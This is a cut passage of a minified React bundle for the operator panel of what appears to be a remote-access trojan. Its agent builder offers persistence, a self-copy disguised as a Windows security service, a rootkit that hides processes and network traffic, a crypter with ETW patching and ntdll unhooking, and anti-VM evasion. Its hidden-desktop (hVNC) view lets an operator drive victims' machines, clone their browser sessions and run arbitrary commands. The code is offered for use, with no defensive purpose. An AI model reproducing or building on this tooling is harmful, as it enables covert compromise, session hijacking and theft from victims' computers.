24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},se)),a.jsx("button",{type:"button",onClick:()=>j([...w,""]),className:"text-xs text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"+ Add URL"})]})}),a.jsx(ir,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:bV.map(H=>{const se=H.dllOnly&&R==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${se?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(_&H.flag)!==0,disabled:se,onChange:W=>{M(W.target.checked?_|H.flag:_&~H.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:H.label}),H.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),se&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},H.flag)})})}),a.jsx(ir,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:q,onChange:H=>te(parseInt(H.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:C,onChange:H=>Y(H.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:ne,onChange:H=>B(H.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),a.jsxs(ir,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:F,onChange:H=>U(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:V,onChange:H=>Z(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${V?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:ae,disabled:!V,onChange:H=>ue(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:be,onChange:H=>ye(H.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>G(!D),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${D?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${D?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{o(!1),p("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:y,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[y&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),y?"Building...":"Build"]})]}),y&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(K2.filter(H=>H.at<=l).pop()??K2[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[u,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${l}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):t.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!s&&a.jsx("button",{onClick:()=>o(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:t.map(H=>{let se={};try{se=JSON.parse(H.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[a.jsx("div",{children:a.jsx("span",{className:"text-sm font-medium text-zerin-text",children:H.name})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[se.sleep_interval??"—","s"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[se.jitter_percent??"—","%"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:H.agent_pubkey,children:[(H.agent_pubkey??"").slice(0,16),"..."]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-dim",children:H.built_by})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:Lo(H.built_at)})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:Mp(H.file_size)})}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>fe(H),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),le===H.payload_id?a.jsxs("div",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>ve(H.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),a.jsx("button",{onClick:()=>we(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):a.jsx("button",{onClick:()=>we(H.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},H.payload_id)})})]}),a.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function ir({label:e,children:t}){return a.jsxs("div",{children:[a.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const jV=[{label:"Explorer",cmd:"explorer.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("circle",{cx:"12",cy:"12",r:"10"}),a.jsx("circle",{cx:"12",cy:"12",r:"4"}),a.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),a.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),a.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function NV(){const{id:e}=il(),[t]=Cx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=m.useRef(null),s=m.useRef(null),o=m.useRef(null),l=m.useRef(null),c=m.useRef(null),u=m.useRef({x:-1,y:-1}),d=m.useRef(null),f=m.useRef(0),[p,h]=m.useState(!0),[x,g]=m.useState(!0),[y,v]=m.useState(!1),[b,w]=m.useState(60),[j,N]=m.useState(20),[k,z]=m.useState(0),[S,O]=m.useState({w:0,h:0}),[,A]=m.useState(""),[T,P]=m.useState(null),[D,G]=m.useState(!1),[R,K]=m.useState(!1),_=m.useRef(!1),[M,F]=m.useState({w:0,h:0});m.useEffect(()=>{const W=l.current;if(!W)return;const Q=new ResizeObserver(he=>{const E=he[0];E&&F({w:E.contentRect.width,h:E.contentRect.height})});return Q.observe(W),()=>Q.disconnect()},[]);const U=m.useMemo(()=>{if(S.w<=0||S.h<=0||M.w<=0||M.h<=0)return null;const W=Math.min(M.w/S.w,M.h/S.h);return{width:Math.floor(S.w*W),height:Math.floor(S.h*W)}},[S,M]),V=m.useRef({x:0,y:0,w:0,h:0}),Z=m.useRef(null),ae=m.useCallback((W,Q)=>{const he=s.current;if(!he)return;Z.current||(Z.current=he.getContext("2d"));const E=Z.current;if(!E)return;const ce=V.current;if(ce.w>0&&E.clearRect(ce.x,ce.y,ce.w,ce.h),W<0||Q<0){V.current={x:0,y:0,w:0,h:0};return}V.current={x:W-1,y:Q-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(W,Q),E.lineTo(W,Q+18),E.lineTo(W+5,Q+14),E.lineTo(W+9,Q+21),E.lineTo(W+12,Q+20),E.lineTo(W+8,Q+13),E.lineTo(W+13,Q+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),ue=m.useCallback((W,Q)=>{const he=s.current;if(!he)return;const E=he.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(W,Q,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{ae(u.current.x,u.current.y)},150))},[ae]),be=m.useCallback((W,Q,he,E,ce)=>{_.current||(_.current=!0,K(!0)),O({w:Q,h:he});const J=i.current;if(!J)return;const xe=J.getContext("2d");if(!xe)return;(J.width!==Q||J.height!==he)&&(J.width=Q,J.height=he);const ke=s.current;if(ke&&(ke.width!==Q||ke.height!==he)&&(ke.width=Q,ke.height=he,Z.current=null),typeof W=="string"){const ze=c.current||new Image;c.current=ze,ze.onload=()=>{xe.drawImage(ze,0,0)},ze.src=W}else W instanceof ImageBitmap?(xe.drawImage(W,0,0),W.close()):xe.drawImage(W,0,0)},[r]),ye=m.useCallback(()=>{},[]),{isConnected:q,stats:te,controls:C,connect:Y,disconnect:ne}=kv({agentId:e||"",mode:n,onFrame:be,onDisconnect:ye});m.useEffect(()=>{e&&Y()},[e,Y]);const B=m.useCallback(W=>{const Q=s.current,he=i.current;if(!Q||!he||S.w===0)return{x:0,y:0};const E=Q.getBoundingClientRect(),ce=he.width/E.width,J=he.height/E.height;return{x:Math.min(Math.max(Math.round((W.clientX-E.left)*ce),0),he.width-1),y:Math.min(Math.max(Math.round((W.clientY-E.top)*J),0),he.height-1)}},[S]),le=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);u.current={x:Q,y:he};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Q,he)),ae(Q,he)},[p,y,B,C,ae]),we=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);C.sendMouseButton(W.button,1,Q,he),ue(Q,he)},[p,y,B,C,ue]),Ne=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);C.sendMouseButton(W.button,0,Q,he)},[p,y,B,C]),Ae=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W),E=W.deltaY>0?-120:120;C.sendMouseScroll(E,Q,he)},[p,y,B,C]);m.useEffect(()=>{if(!x||y)return;const W=(E,ce)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(ce,J,0)},Q=E=>W(E,1),he=E=>W(E,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",he,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",he,!0)}},[x,y,C]),m.useEffect(()=>{C.setViewOnly(y)},[y,C]);const $=m.useCallback(W=>{w(W),C.setQuality(W)},[C]),fe=m.useCallback(async()=>{try{const W=await navigator.clipboard.readText();W&&C.sendClipboard(W)}catch{}},[C]),ve=m.useCallback(()=>{var W,Q;(Q=(W=o.current)==null?void 0:W.requestFullscreen)==null||Q.call(W)},[]),H=m.useCallback(async()=>{if(ne(),e)try{r?await l6(e):await o6(e)}catch{}window.close()},[e,ne,r]),se=m.useCallback(async W=>{if(!(!e||!W.trim())){P(null);try{await c6(e,W.trim(),D),P(`Launched ${W.trim()}${D?" (hijack)":""}`),A(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,D]);return a.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&a.jsxs(a.Fragment,{children:[a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),a.jsx("div",{className:"flex-1"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:p?"#06B6D4":"#27272A"},title:"Mouse"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&a.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),a.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[q&&a.jsxs("div",{className:"relative",style:{width:U?U.width:void 0,height:U?U.height:void 0,display:R?"block":"none"},children:[a.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),a.jsx("canvas",{ref:s,onMouseMove:le,onMouseDown:we,onMouseUp:Ne,onWheel:Ae,onContextMenu:W=>W.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:p&&!y?"none":"default"}})]}),(!q||!R)&&a.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:a.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:q?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),a.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(W=>a.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${W*.3}s`}},W))})]})]})})]}),a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:q?"#22C55E":"#EF4444",boxShadow:q?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:q?"LIVE":"OFFLINE"})]}),a.jsx(Zs,{}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),a.jsx(Zs,{}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:W=>$(Number(W.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:W=>{const Q=Number(W.target.value);N(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),a.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:a.jsxs("select",{value:k,onChange:W=>{const Q=Number(W.target.value);z(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[a.jsx("option",{value:0,children:"Auto"}),a.jsx("option",{value:1,children:"DXGI"}),a.jsx("option",{value:2,children:"GDI"})]})}),a.jsx(Zs,{}),a.jsx(Tm,{label:"MOUSE",active:p,onClick:()=>h(!p),icon:a.jsx(kV,{})}),a.jsx(Tm,{label:"KEYS",active:x,onClick:()=>g(!x),icon:a.jsx(zV,{})}),a.jsx(Tm,{label:"VIEW",active:y,onClick:()=>v(!y),icon:a.jsx(SV,{})}),a.jsx(Zs,{}),a.jsx(G2,{onClick:fe,title:"Sync clipboard",children:a.jsx(CV,{})}),a.jsx(G2,{onClick:ve,title:"Fullscreen",children:a.jsx(PV,{})}),r&&a.jsxs(a.Fragment,{children:[a.jsx(Zs,{}),a.jsxs("button",{onClick:()=>G(W=>!W),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:D?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:D?"#22D3EE":"#52525B",background:D?"rgba(6, 182, 212, 0.12)":"transparent",border:D?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),jV.map(W=>a.jsxs("button",{onClick:()=>se(W.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${W.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[W.icon,a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:W.label})]},W.cmd)),a.jsxs("button",{onClick:()=>{const W=prompt("Command to launch on hidden desktop:");W&&se(W)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:W=>{W.currentTarget.style.color="#A1A1AA",W.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:W=>{W.currentTarget.style.color="#52525B",W.currentTarget.style.background="transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:S.w>0?`${S.w}×${S.h}`:"—"}),a.jsxs("button",{onClick:H,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 